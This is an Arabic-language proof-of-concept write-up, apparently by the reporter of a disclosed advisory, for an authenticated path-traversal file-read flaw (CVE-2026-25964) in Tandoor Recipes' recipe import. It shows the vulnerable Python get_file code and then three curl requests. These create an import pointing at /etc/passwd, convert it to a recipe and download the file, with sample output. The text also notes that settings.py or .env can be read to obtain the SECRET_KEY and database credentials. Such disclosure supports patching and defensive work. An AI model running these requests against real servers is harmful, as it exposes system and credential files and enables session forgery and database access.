
إثبات مفهوم لاستغلال CVE-2026-25964، وهو كشف ملفات محلي مصادق عليه في Tandoor Recipes عبر اجتياز المسار في استيراد الوصفات، مما يسمح بقراءة ملفات عشوائية.
إثبات المفهوم لقراءة الملفات المحلية المُوثَّقة عبر استيراد الوصفات
الإفصاح: تم الإبلاغ عنه بواسطتي عبر GHSA-6485-jr28-52xx
⚠️ للاستخدام المصرح به في الاختراق الأخلاقي والبحث فقط.
| الحقل | القيمة |
|---|
| معرف CVE | CVE-2026-25964 |
| الخطورة | 🟡 متوسطة |
| درجة CVSS | 4.9 |
| متجه CVSS | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N] |
| CWE | CWE-22: اجتياز المسار، CWE-73: تحكم خارجي في اسم الملف |
| المنتج المتأثر | Tandoor Recipes ≤ 2.5.0 |
| الإصدار المُصحَّح | 2.5.1 |
| النشرة الأمنية | GHSA-6485-jr28-52xx |
ثغرة اجتياز المسار (CWE-22) غير مُصرَّح بها بشكل صحيح في سير عمل RecipeImport في Tandoor Recipes تسمح للمستخدمين المُوثَّقين الذين لديهم صلاحيات الاستيراد بقراءة ملفات عشوائية على الخادم. تنبع هذه الثغرة من نقص التحقق من صحة الإدخال في معامل file_path وعدم كفاية الفحوصات في الواجهة الخلفية للتخزين Local، مما يمكّن المهاجم من تجاوز قيود دليل التخزين والوصول إلى ملفات النظام الحساسة (مثل /etc/passwd) أو ملفات إعدادات التطبيق (مثل settings.py)، مما قد يؤدي إلى اختراق كامل للنظام.
توجد الثغرة بسبب الفشل في التحقق من الإدخال المقدم من المستخدم مقابل جذر التخزين المقصود للتطبيق.
/api/recipe-import/ للمستخدمين المُوثَّقين بإنشاء كائن RecipeImport بمسار ملف file_path وواجهة تخزين storage عشوائية. لا يتم إجراء أي تحقق لضمان أن file_path يقع ضمن دليل التخزين المُهيأ.Local.get_file في cookbook/provider/local.py طلب استرجاع الملف:
@staticmethod
def get_file(recipe):
# VULNERABILITY: Directly opens the path specified in recipe.file_path
# without verifying it is within the storage root directory.
file = io.BytesIO(open(recipe.file_path, 'rb').read())
return file
/etc/passwd) أو مسارات نسبية (مثل ../../app/config.py).عندما يتم تحويل كائن RecipeImport إلى Recipe عبر إجراء import_recipe، يتم حفظ المسار الخبيث. يؤدي استدعاء لاحق لـ get_recipe_file إلى تشغيل عملية القراءة المعيبة، وإرجاع محتوى الملف إلى المستخدم.
المتطلبات الأساسية: حساب مستخدم مُوثَّق بصلاحيات استيراد الوصفات. افتراضيًا، قد تكون هذه الصلاحية مقيدة، ولكن إذا تم منحها لأدوار ذات امتيازات أقل، يزداد التأثير بشكل كبير. حتى بالنسبة للمسؤولين، يمثل هذا انتهاكًا لحدود الأمان حيث لا ينبغي أن تمنح صلاحيات مستوى التطبيق وصولًا للقراءة على مستوى نظام الملفات.
الخطوة 1: إنشاء كائن استيراد خبيث
أرسل طلب POST لإنشاء كائن RecipeImport يشير إلى الملف المستهدف (مثل /etc/passwd).
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "Admin_LFD_Final",
"file_path": "/etc/passwd",
"storage": 1,
"space": 1
}'
(ملاحظة: storage: 1 يتوافق عادةً مع التخزين المحلي الافتراضي. اضبطه إذا لزم الأمر.)

الخطوة 2: تحويل الاستيراد إلى وصفة
قم بتشغيل عملية الاستيراد لإنشاء كائن Recipe دائم. لاحظ import_id (مثل 4) الذي تم إرجاعه من الخطوة 1.
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/<IMPORT_ID>/import_recipe/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-H "Content-Length: 0"
(استبدل <IMPORT_ID> بالمعرف من استجابة الخطوة 1. سيعيد هذا الطلب recipe_id الجديد (مثل 34)

الخطوة 3: تنزيل الملف العشوائي
قم بالوصول إلى الملف عبر نقطة نهاية ملف الوصفة باستخدام معرف الوصفة id الجديد الذي تم إرجاعه من الخطوة 2 (مثل 34).
curl -X GET "http://<TARGET_IP>:8081/api/get_recipe_file/<RECIPE_ID>/" \
-b "sessionid=<SESSION_ID>"
النتيجة: يعيد الخادم محتويات /etc/passwd، مما يؤكد ثغرة قراءة الملفات المحلية (LFD).
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

/etc/passwd تسمح بتعداد مستخدمي النظام./opt/recipes/recipes/settings.py (تم تأكيده في الاختبار) أو .env. هذا يكشف SECRET_KEY (مما يسمح بتزوير الجلسات) وبيانات اعتماد قاعدة البيانات (مما يسمح بالوصول المباشر إلى قاعدة البيانات).